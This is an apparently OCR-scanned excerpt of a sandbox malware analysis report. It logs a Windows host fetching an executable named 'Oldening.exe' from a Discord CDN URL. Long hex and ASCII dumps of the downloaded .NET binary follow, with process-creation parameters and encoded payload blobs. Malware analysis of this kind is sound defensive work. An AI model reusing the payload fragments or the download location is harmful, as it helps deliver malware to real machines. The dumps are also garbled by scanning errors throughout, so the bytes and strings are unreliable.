3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

162.159.130.233 443 C:\Windows\explorer.exe
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Timestamp transferred

2021-12-01 08:14:01 UTC O

2021-12-01 08:14:01 UTC 0

2021-12-01 08:14:01 UTC 1

2021-12-01 08:14:01 UTC 1

2021-12-01 08:14:01 UTC 2

2021-12-01 08:14:01 UTC 4

2021-12-01 08:14:01 UTC 5

2021-12-01 08:14:01 UTC 6

Copyright Joe Security LLC 2021

Direction

ouT

Data

GET /attachments/914960103592054858/914961866462232616/Oldening.exe HTTP/1.1
Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: cdn.discordapp.com

HTTP/1.1 200 OK

Date: Wed, 01 Dec 2021 08:14:01 GMT

Content-Type: application/x-msdos-program

Content-Length: 397824

Connection: close

CF-Ray: 6b6adc08b9bd2b4d-FRA

Accept-Ranges: bytes

Age: 131760

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=0ldening.exe

ETag: "5115e5dab211559a85cd0154e8100f53"

Expires: Thu, 01 Dec 2022 08:14:01 GMT

Last-Modified: Mon, 29 Nov 2021 19:31:48 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1638214308199102

x-goog-hash: crc32c=YIGNXA==

x-goog-hash: md5=URXI2rIRVZqFzQFU6BAPUw==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

x-goog-stored-content-length: 397824

X-GUploader-UploadID: ADPycdvBnSbnjnhwzbmKVJY4AfYuSX_vGG4T8mybDbmzzEh5wTvKrUg6ILGhBDBkOUWT
HNIT6meCPadacrFAck7K5BAKDWKQDw

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 3a 22 68 74 74
70 73 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 48 25 32 42 52 63 52 4e 59 73 67 47 64 47 38 61 42 25 32 42 70 47 56 6a 6e 53 48 25 32 42 52 48 71 51 47 59 62 6d
335a 49 75 6f 4c 6¢ 45 41 59 77 4b 39 57 75 75 67 77 52 68 25 32 46 51 70 71 6f 72 73 39 70 25 32 46 39 65 79 5a 6¢ 42
65 78 57 6b 64 58 41 32 6f 45 49 64 42 57 4c 45 4b 50 6a 57 4a 33 4a 6a 35 6¢ 59 59 36 64 52 53 4e 51 38 4f 46 69 70 43
6d 76 57 75 6d 66 65 33 7a 4a 42 69 51 59 56 38 7a 75 68 6a 6e 38 25 32 46 36 62 67 25 33 44 25 33 44 22 7d 5d 2c 22
67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6¢ 22 2¢ 22 6d 61 78

Data Ascii: Report-To: {"endpoints":[{"url":"https:\/Va.nel.cloudflare.comV/report\/\v3?s=H%2BRcRNYsgGdG8aB%2B
pGVjnSH%2BRHQGYbm3ZIuoLIEAYWKIWuugwRh%2FQpqors9p%2F9eyZIBexWkdXA20EIdBWLEKPjWJ3Jj51YY6dRS
NQ8OFipCmvWumfe3zJBiQYV8zuhjn8%2F6bg%3D%3D"}], "group”:"cf-nel”,"max

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 28 a3 71 d7 00 00 00 00 00 00 00 00 e0 00 Oe 01 Ob 01
30 00 00 Oa 06 00 00 06 00 00 00 00 00 00 fe 28 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 0
000 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL(q0( @@ @

Data Raw: 00 00 61 00 30 91 00 06 Ob 00 00 01 00 00 61 00 30 97 00 06 24 00 00 01 00 00 00 00 a2 a2 00 06 01 00 00
01 1e 02 6f 25 00 00 0a 2a 1a 7e 06 00 00 04 2a 00 32 28 10 00 00 06 02 80 06 00 00 04 2a 00 00 00 1e 02 7b 07 00 00
04 2a 22 02 03 7d 07 00 00 04 2a 00 00 00 13 30 0d 00 a9 00 00 00 00 00 00 00 02 28 05 00 00 0a 02 7e 09 00 00 04 3a
24.00 00 00 16 d0 04 00 00 1b 28 Oe 00 00 Oa dO 09 00 00 02 28 Oe 00 00 Oa 28 15 00 00 a 28 26 00 00 0a 80 09 00 00
04 7e 09 00 00 04 7b 27 00 00 a 7e 09 00 00 04 7e 08 00 00 04 3a 3a 00 00 00 18 72 df 04 00 70 14 dO 09 00 00 02 28
Oe 00 00 Oa 18 8d 26 00 00 01 25 16 17 14 28 28 00 00 Oa a2 25 17 16 14 28 28 00 00 Oa a2 28 29 00 00 Oa 28 2a 00 00
0a 80 08 00 00 04 7e 08 00 00 04 7b 2b 00 00 Oa 7e 08 00 00 04 02 03 6f 2¢

Data Ascii: 80a0$0%6*~*2(*{(*'}0(~:$((((&~{~~::rp(&%((((((*~{+~0,

Data Raw: 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 06 12 07 fe 15 21 00 00 02 12 10 fe 15 1b 00 00 02 12 10 20 1b
0010 00 7d 15 00 00 04 11 10 13 08 17 8d 01 00 00 01 25 16 72 3d 00 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 09
02 7b 01 00 00 04 6f 51 00 00 06 25 13 12 39 09 00 00 00 11 12 8e 69 3a 09 00 00 00 16 0 13 11 38 Ob 00 00 00 11 12
16 8f 0d 00 00 01 €0 13 11 11 11 28 07 00 00 Oa 13 05 11 11 0b 11 11 07 7b 19 00 00 04 €0 58 Oc 14 13 12 07 7b 18 00 0
004 20 4d 5a 00 00 40 10 00 00 00 08 7b 1b 00 00 04 20 50 45 00 00 3b 02 00 00 00 16 2a 08 7¢ 1d 00 00 04 7b 1e 00
00 04 20 0b 01 00 00 3b 02 00 00 00 16 2a 02 7b 01 00 00 04 6f 51 00 00 06 20 98 03 00 00 18 9c 12 Oa fe 15 22 00 00
02 12 0a 11 0a 8¢ 22 00 00 02 28 08 00 00 Oa 7d 2a 00 00 04 12 0a 16 7d

Data Ascii: p(s! }%r=p(s{oQ9i:8({X{ MZ@{ PE;*|{ :*{0Q "'(*}

Data Raw: Ob 1e 28 11 00 00 0a 38 12 00 00 00 11 15 17 58 13 15 11 15 20 43 69 08 00 3f c6 ff ff ff 11 06 72 4b 02 00 70
16 28 08 00 00 06 6f 07 00 00 2b 11 07 7b 26 00 00 04 11 08 7b 16 00 00 04 6e le 6a 58 28 09 00 00 Oa 11 Ob la 7e 06
00 00 Oa 6f 25 00 00 06 3a 6b 00 00 00 11 Ob 28 12 00 00 Oa 11 06 72 ¢9 00 00 70 16 28 08 00 00 06 6f 02 00 00 2b 11 07
7b 26 00 00 04 15 6f 29 00 00 06 39 40 00 00 00 11 06 72 13 01 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7h 26 00
00 04 6f 2d 00 00 06 26 11 06 72 13 01 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 27 00 00 04 6f 2d 00 00 06 26 16
2a 11 0b 28 12 00 00 0a 08 7c 1d 00 00 04 7b 1f 00 00 04 13 0f 12 08 11 Oc 11 Of 6e 58 6d 7d 17 00 00 04 06 39 8a 00 00
00 11 06 72 39 03 00 70 16 28 08 00 00 06 6f 09 00 00 2b 11

Data Ascii: (8X Ci?rKp(o+{&{njX(~0%:k(rp(0+{&0)9@rp(0+{&o-&rp(o+{'0-&*(|{{nXm}9r9p(o+

Data Raw: 00 13 00 1b 00 81 01 10 00 21 01 30 01 05 00 14 00 1f 00 02 01 00 00 3f 01 00 00 09 00 15 00 20 00 02 01 00
00 5b 01 00 00 09 00 15 00 24 00 02 01 00 00 66 01 00 00 09 00 15 00 28 00 02 01 00 00 81 01 00 00 09 00 15 00 2c 00
02 01 00 00 8¢ 01 00 00 09 00 15 00 30 00 02 01 00 00 a0 01 00 00 09 00 15 00 34 00 02 01 00 00 a7 01 00 00 09 00 15
00 38 00 02 01 00 00 bf 01 00 00 09 00 15 00 3c 00 02 01 00 00 d5 01 00 00 09 00 15 00 40 00 02 01 00 00 ee 01 00 00 O
900 15 00 44 00 02 01 00 00 f5 01 00 00 09 00 15 00 48 00 02 01 00 00 Ob 02 00 00 09 00 15 00 4c 00 11 01 10 00 23 02
30 02 0d 00 15 00 50 00 11 01 10 00 52 02 62 02 0d 00 18 00 50 00 11 01 10 00 71 02 51 00 Od 00 1a 00 50 00 11 01 10
00 76 02 de 00 0d 00 1b 00 50 00 11 01 10 00 88 02 8f 02 0d 00 1e 00

Data Ascii: 10? [$f(,048<@DHL#0PRbPqQPVP
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Timestamp transferred Direction Data

2021-12-01 08:14:01 UTC 8 IN Data Raw: 03 00 86 18 71 03 cc 00 4a 00 00 00 00 00 03 00 c6 01 bd 03 8f 04 4c 00 00 00 00 00 03 00 c6 01 b6 09 a5 04
59 00 00 00 00 00 03 00 c6 01 ed 09 c1 04 67 00 00 00 00 00 03 00 86 18 71 03 cc 00 6b 00 00 00 00 00 03 00 c6 01 bd
03 d0 04 6d 00 00 00 00 00 03 00 c6 01 b6 09 d8 04 70 00 00 00 00 00 03 00 c6 01 ed 09 62 04 74 00 00 00 00 00 03 00
86 18 71 03 cc 00 76 00 00 00 00 00 03 00 c6 01 bd 03 d0 04 78 00 00 00 00 00 03 00 c6 01 b6 09 d8 04 7b 00 00 00 00 O
00300 c6 01 ed 09 62 04 7f 00 00 00 00 00 03 00 86 18 71 03 cc 00 81 00 00 00 00 00 03 00 c6 01 bd 03 €6 04 83 00 00
00 00 00 03 00 c6 01 b6 09 ec 04 85 00 00 00 00 00 03 00 c6 01 ed 09 f8 04 89 00 00 00 00 00 03 00 86 18 71 03 cc 00
8a 00 00 00 00 00 03 00 c6 01 bd 03 ff 04 8c 00 00 00 00 00 03 00 c6
Data Ascii: gJLYggkmpbtqvx{bqq

2021-12-01 08:14:01 UTC 9 IN Data Raw: 00 03 00 a4 Ob 00 00 04 00 ad Ob 00 00 05 00 b8 Ob 00 00 06 00 c¢7 Ob 00 00 07 00 dd 09 00 00 08 00 e6 09 00
0001 00 98 0b 00 00 02 00 ad Ob 00 00 03 00 f7 09 00 00 01 00 cf Ob 00 00 02 00 7c Ob 00 20 01 00 69 Ob 00 20 01 00
69 0b 00 00 02 00 dd 09 00 00 03 00 e6 09 00 00 01 00 f7 09 00 00 01 00 29 05 00 00 02 00 7c Ob 00 00 01 00 dd 09 00
00 02 00 e6 09 00 00 01 00 f7 09 00 00 01 00 d4 Ob 00 00 02 00 6a 0a 00 00 01 00 d8 Ob 00 00 02 00 dd Ob 00 00 01 00 d
8 0b 00 00 02 00 dd Ob 00 00 03 00 dd 09 00 00 04 00 e6 09 00 00 01 00 f7 09 00 00 01 00 98 09 00 00 01 00 9d 03 31 00
71 03 b0 00 Oc 00 71 03 cc 00 Oc 00 bd 03 d2 00 59 00 71 03 d7 00 09 00 71 03 d7 00 51 00 36 04 10 01 51 00 3b 04 13
01 89 00 4f 04 19 01 51 00 3b 04 1e 01 91 00 77 04 28 01 51 00 8a 04
Data Ascii: | i i)[j1gqYqgQ6Q;0Q;w(Q

2021-12-01 08:14:01 UTC 10 IN Data Raw: Oe 00 17 00 Oe 00 18 00 Oe 00 19 00 Oe 00 1a 00 Oe 00 25 00 24 00 00 00 04 00 39 00 4e 09 38 00 23 01 38
003201 38 00 37 01 38 00 41 01 38 00 46 01 38 00 4b 01 38 00 50 01 38 00 66 01 38 00 7e 01 38 00 83 01 38 00 4a 02
38 00 4f 02 00 4f 6¢ 64 65 6e 69 6e 67 00 4f 6¢ 64 65 6e 69 6e 67 2e 65 78 65 00 3c 4d 6f 64 75 6¢ 65 3e 00 49 6e 66 6f
00 4f 6¢ 64 65 6e 69 6e 67 2e 4d 61 70 73 00 4f 62 6a 65 63 74 00 53 79 73 74 65 6d 00 6d 73 63 6f 72 6¢ 69 62 00 57 6f
72 6b 65 72 00 4f 6¢ 64 65 6e 69 6e 67 2e 53 68 61 72 65 64 00 3c 3e 63 5f 5f 44 69 73 70 6¢ 61 79 43 6¢ 61 73 73 32 5f
30 00 49 6e 69 74 69 61 6¢ 69 7a 65 72 4d 65 73 73 61 67 65 44 65 53 65 72 69 61 6¢ 69 7a 65 72 00 4f 6¢ 64 65 6€ 69 6
e 67 2e 5365 72 69 61 6¢ 69 7a 61 74 69 6f 6e 00 4d 6f 64 65 6¢
Data Ascii: %$9N8#82878A8F8K8P8f8~88J800IdeningOldening.exe<Module>InfoOldening.MapsObjectSystemmsco
rlibWorkerOldening.Shared<>c__DisplayClass2_0lnitializerMessageDeSerializerOldening.SerializationModel

2021-12-01 08:14:01 UTC 12 IN Data Raw: 00 6d 5f 4d 65 73 73 61 67 65 00 2e 63 63 74 6f 72 00 43 6f 6d 70 61 72 65 49 6e 66 6f 00 69 64 65 6e 74 00
49 6e 74 31 36 00 76 69 73 73 69 7a 65 00 5f 53 65 74 74 65 72 00 73 65 74 75 70 00 45 6d 70 74 79 00 52 65 70 6¢ 61
63 6500 57 72 69 74 65 49 6e 66 6f 00 41 73 73 65 74 49 6e 66 6f 00 76 61 72 31 00 42 69 6e 64 65 72 00 4d 69 63 72 6f
73 6f 66 74 2e 43 53 68 61 72 70 2e 52 75 6e 74 69 6d 65 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61
727000 43 6f 6e 76 65 72 74 00 43 61 6¢ 6¢ 53 69 74 65 42 69 6e 64 65 72 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d
65 2e 43 6f 6d 70 69 6¢ 65 72 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 43 53 68 61 72 70 42 69 6e
64 65 72 46 6¢ 61 67 73 00 43 61 6C 6C 53 69 74 65 60 31 00 46
Data Ascii: m_Message.cctorComparelnfoidentintl6vissize_SettersetupEmptyReplaceWriteInfoAssetInfovar1BinderMic
rosoft.CSharp.RuntimeBinderMicrosoft.CSharpConvertCallSiteBinderSystem.Runtime.CompilerServicesSystem.CoreCSha
rpBinderFlagsCallSite 1F

2021-12-01 08:14:01 UTC 13 IN Data Raw: 74 43 6f 64 65 00 63 6f 75 6e 74 65 72 00 68 61 6e 64 6¢ 65 00 74 6f 6b 65 6e 00 68 54 6f 6b 65 6e 00 6¢ 70
4170 70 6¢ 69 63 61 74 69 6f 6e 4e 61 6d 65 00 6¢ 70 43 6f 6d 6d 61 6€ 64 4c 69 6e 65 00 6¢ 70 50 72 6f 63 65 73 73 41
74747269 62 75 74 65 73 00 6¢ 70 54 68 72 65 61 64 41 74 74 72 69 62 75 74 65 73 00 62 49 6e 68 65 72 69 74 48 61
6e 64 6¢c 65 73 00 64 77 43 72 65 61 74 69 6f 6e 46 6¢ 61 67 73 00 6¢ 70 45 6€ 76 69 72 6f 6e 6d 65 6e 74 00 6¢ 70 43 75
727265 6e 74 44 69 72 65 63 74 6f 72 79 00 6¢ 70 53 74 61 72 74 75 70 49 6e 66 6f 00 6¢ 70 50 72 6f 63 65 73 72 65 64
61 6f 4c 72 65 6e 67 69 73 65 44 6e 6f 69 74 61 7a 69 6¢ 61 69 72 65 53 6e 67 69 73 65 44 6¢ 65 64 6f 4d 74 6e 65 6e 6f
70 6d 6f 43 6d 65 74 73 79 53 32 39 34 31 38 00 68 4e 65 77
Data Ascii: tCodecounterhandletokenhTokenlpApplicationNamelpCommandLinelpProcessAttributesipThreadAttributesbl
nheritHandlesdwCreationFlagslpEnvironmentlpCurrentDirectorylpStartupInfolpProcesredaol rengiseDnoitazilaireSngi
seDledoMtnenopmoCmetsyS29418hNew

2021-12-01 08:14:01 UTC 14 IN Data Raw: 49 4a 00 39 00 39 00 37 00 31 00 43 00 55 00 35 00 48 00 77 00 63 00 6b 00 50 00 52 00 49 00 58 00 46 00
79 00 45 00 4a 00 50 00 6a 00 6f 00 6f 00 47 00 54 00 39 00 58 00 4a 00 53 00 73 00 45 00 4f 00 58 00 4a 00 4f 00 00 39
49 0039 00 39 00 37 00 31 00 31 00 41 00 58 00 45 00 41 00 5a 00 42 00 42 00 79 00 34 00 58 00 47 00 45 00 59 00 4f
00 43 00 54 00 55 00 33 00 55 00 67 00 3d 00 3d 00 00 41 49 00 39 00 39 00 37 00 31 00 54 00 6f 00 68 00 50 00 67 00 6
400 41 00 4d 00 6¢ 00 55 00 41 00 43 00 54 00 45 00 63 00 43 00 55 00 41 00 73 00 41 00 77 00 56 00 57 00 50 00 6d
00 77 00 3d 00 00 59 4a 00 39 00 39 00 37 00 31 00 67 00 77 00 39 00 4d 00 41 00 63 00 65 00 59 00 41 00 38 00 74 00
43 00 53 00 6b 00 56 00 4d 00 53 00 6f 00 47 00 50 00 7a 00 77 00 4a 00
Data Ascii: 1J9971CU5HWCcKPRIXFYEJPjooGTIXISSEOXJO09199711AXEAZBBY4AXGEYOCTU3Ug==AI9971TohPgd
AMIUACTECCUASAWVWPmMw=YJ9971gwIMAceYABtCSkVMSoGPzwJ

2021-12-01 08:14:01 UTC 16 IN Data Raw: 84 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 50 65 72 6d 69 73 73 69 6f 6e 73 2e 53 65 63 75 72 69 74
7950 65 72 6d 69 73 73 69 6f 6e 41 74 74 72 69 62 75 74 65 2c 20 6d 73 63 6f 72 6¢ 69 62 2¢ 20 56 65 72 73 69 6f 6e 3d
34 2e 30 2e 30 2e 30 2c 20 43 75 6¢ 74 75 72 65 3d 6e 65 75 74 72 61 6¢ 2¢ 20 50 75 62 6¢ 69 63 4b 65 79 54 6f 6b 65
6e 3d 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 15 01 54 02 10 53 6b 69 70 56 65 72 69 66 69 63 61 74 69 6f 6e
01 08 b7 7a 5¢ 56 19 34 €0 89 05 00 01 01 1d Oe 04 20 01 01 Oe 03 00 00 Oa 03 00 00 01 08 00 02 01 12 80 8¢ 1d 1c 05 1
51221 0102 05 20 02 01 1c 18 04 20 00 13 00 03 20 00 01 04 06 12 80 8c 03 20 00 02 2b 07 16 02 Of 11 70 Of 11 78 Oe
181812 34 11 80 84 11 6¢ 12 34 11 80 88 18 0a Ob 1d 05 09 11 6¢
Data Ascii: System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicK
eyToken=b77a5c561934e089TSkipVerificationz\V4 | +px4l4l

2021-12-01 08:14:01 UTC 17 IN Data Raw: 00 00 00 00 00 04 20 01 01 08 1e 01 00 01 00 54 02 16 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 68
72 6f 77 73 01 08 01 00 02 00 00 00 00 00 06 20 01 01 11 80 c9 47 01 00 la 2e 4e 45 54 46 72 61 6d 65 77 6f 72 6b 2c 56
65 72 73 69 6f 6e 3d 76 34 2e 30 01 00 54 Oe 14 46 72 61 6d 65 77 6f 72 6b 44 69 73 70 6¢ 61 79 4e 61 6d 65 10 2e 4e
45 54 20 46 72 61 6d 65 77 6f 72 6b 20 34 04 01 00 00 00 Oc 01 00 03 00 00 00 02 00 00 00 00 00 09 20 02 01 11 80 el
11 80 e5 56 00 39 00 39 00 37 00 31 00 46 00 5a 00 78 00 55 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00
46 00 46 00 51 00 55 00 46 00 42 00 51 00 53 00 38 00 76 00 4f 00 45 00 46 00 42 00 54 00 47 00 64 00 42 00 51 00 55
00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 51 00
Data Ascii: TWrapNonExceptionThrows G.NETFramework,Version=v4.0TFrameworkDisplayName.NET Framework 4
V9971FZXxUUFBTUFBQUFFQUFBQS8VOEFBTGABQUFBQUFBQUFRQ

2021-12-01 08:14:01 UTC 18 IN Data Raw: 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6¢ 00 42 00 51 00 55 00 46 00 44 00
51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42
00 51 00 30 00 4e 00 42 00 51 00 55 00 46 00 46 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00
4200 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 7a 00 55 00 77 00 57 00 6¢ 00 68 00 6f 00 4d 00 45 00 46 0
04200 51 00 55 00 46 00 77 00 53 00 56 00 6¢ 00 43 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 42 00 51 00 55 00
46 00 70 00 51 00 55 00 56 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55
00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55
Data Ascii: FBQUFBQUFBQUIBQUFDQUFBQUFBQUFBQUFBQUFBQONBQUFFZOFBQUFBQUFBQUFBQUFBQz
UwWIhoMEFBQUFwWSVICQUFBZOFBQUFpQUVBQUFRQUFBQUFBQUFBQUFBQUFBQU
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Timestamp transferred Direction Data

2021-12-01 08:14:01 UTC 20 IN Data Raw: 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00
51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42
00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00
4200 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46
00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00
46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55
00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00
Data Ascii: BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF
BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU

2021-12-01 08:14:01 UTC 21 IN Data Raw: 72 00 51 00 30 00 46 00 42 00 51 00 55 00 4a 00 42 00 51 00 55 00 46 00 53 00 59 00 33 00 68 00 72 00 51
00 55 00 46 00 42 00 62 00 30 00 74 00 42 00 62 00 6a 00 63 00 7a 00 51 00 55 00 46 00 42 00 52 00 55 00 70 00 54 00
4d 00 46 00 68 00 4b 00 62 00 6a 00 63 00 79 00 51 00 55 00 46 00 42 00 52 00 53 00 39 00 6 00 59 00 6d 00 56 00 42
00 55 00 55 00 46 00 48 00 59 00 33 00 68 00 76 00 51 00 55 00 46 00 42 00 62 00 32 00 78 00 6e 00 55 00 47 00 4e 00
4200 51 00 55 00 46 00 52 00 62 00 30 00 46 00 52 00 51 00 55 00 46 00 4c 00 4d 00 6a 00 68 00 6a 00 51 00 55 00 46
00 42 00 53 00 30 00 4e 00 36 00 61 00 55 00 5a 00 42 00 5a 00 30 00 46 00 42 00 51 00 6a 00 49 00 34 00 5a 00 45 00
46 00 42 00 51 00 55 00 74 00 47 00 65 00 47 00 4e 00 61 00 61 00 6¢ 00 5a
Data Ascii: rQOFBQUJBQUFSY3hrQUFBh0tBbjczQUFBRUpTMFhKbjcyQUFBRS9nYmVBUUFHY3hvQUFBb2xnUGNBQ
UFRbOFRQUFLMjhjQUFBSON6aUZBZOFBQjl4ZEFBQUIGeGNaalZ

2021-12-01 08:14:01 UTC 22 IN Data Raw: 00 51 00 32 00 68 00 4e 00 52 00 30 00 56 00 52 00 55 00 6a 00 63 00 35 00 55 00 55 00 46 00 42 00 51 00
6b 00 4e 00 71 00 63 00 6b 00 46 00 42 00 51 00 55 00 64 00 46 00 64 00 32 00 4e 00 53 00 51 00 6€ 00 6¢ 00 6€ 00 62
00 55 00 46 00 42 00 51 00 55 00 74 00 50 00 64 00 6b 00 6¢ 00 42 00 51 00 55 00 46 00 42 00 55 00 6b 00 4a 00 53 00
52 00 55 00 64 00 69 00 65 00 55 00 6¢ 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 53 00 52 00 55 00 68 00 69
00 65 00 56 00 46 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 53 00 52 00 55 00 55 00 76 00 5a 00 32 00 4a 00
5a 00 51 00 56 00 46 00 42 00 52 00 32 00 4e 00 35 00 64 00 30 00 46 00 42 00 51 00 58 00 41 00 72 00 4b 00 30 00 46
00 42 00 51 00 55 00 4a 00 44 00 56 00 58 00 52 00 47 00 65 00 56 00 6f 00
Data Ascii: Q2hNROVRUjc5UUFBQKNGckFBQUAFd2NSQninbUFBQUtPAKIBQUFBUKJSRUdieUICQUFZUKJSRUhieV
FCQUFZUKJSRUUVZ2JZQVFBR2N5dOFBQXArKOFBQUJDVXRGEV0o

2021-12-01 08:14:01 UTC 24 IN Data Raw: 51 00 55 00 4e 00 56 00 51 00 55 00 46 00 42 00 51 00 55 00 64 00 52 00 53 00 55 00 46 00 42 00 53 00 7a
00 42 00 44 00 51 00 55 00 46 00 42 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00
55 00 46 00 4a 00 51 00 55 00 46 00 42 00 51 00 58 00 68 00 42 00 51 00 55 00 46 00 42 00 62 00 48 00 64 00 4a 00 51
00 55 00 46 00 4e 00 5a 00 30 00 4e 00 42 00 51 00 55 00 46 00 4c 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00
51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 36
00 5a 00 30 00 6¢ 00 42 00 51 00 55 00 35 00 52 00 51 00 30 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00
4200 51 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 43
Data Ascii: QUNVQUFBQUARSUFBSzBDQUFBTOFBQUFBQUFBQUFJIQUFBQXhBQUFBbHAJQUFNZONBQUFL
QUFBQUFBQUFBQUFBQUFBROFBQUF6Z0IBQUSRQOFBQURBQUFBQ2dBQUFSC3dC

2021-12-01 08:14:01 UTC 25 IN Data Raw: 00 7a 00 6¢ 00 42 00 51 00 55 00 46 00 4c 00 54 00 45 00 46 00 6e 00 52 00 30 00 56 00 52 00 57 00 6e 00
5a 0051 00 5a 00 30 00 46 00 42 00 51 00 32 00 68 00 46 00 52 00 6b 00 59 00 78 00 5a 00 31 00 52 00 43 00 55 00 6b
00 56 00 47 00 52 00 56 00 46 00 53 00 64 00 6e 00 46 00 33 00 51 00 55 00 46 00 43 00 61 00 6a 00 68 00 58 00 4c 00
79 00 38 00 76 00 4c 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 52 00 6¢ 00 51 00 58 00 6¢ 00 69 00 5a
00 55 00 46 00 42 00 57 00 58 00 46 00 44 00 55 00 33 00 42 00 43 00 57 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00
51 00 55 00 46 00 42 00 52 00 7a 00 68 00 42 00 51 00 55 00 46 00 43 00 52 00 6b 00 46 00 42 00 51 00 55 00 46 00 30
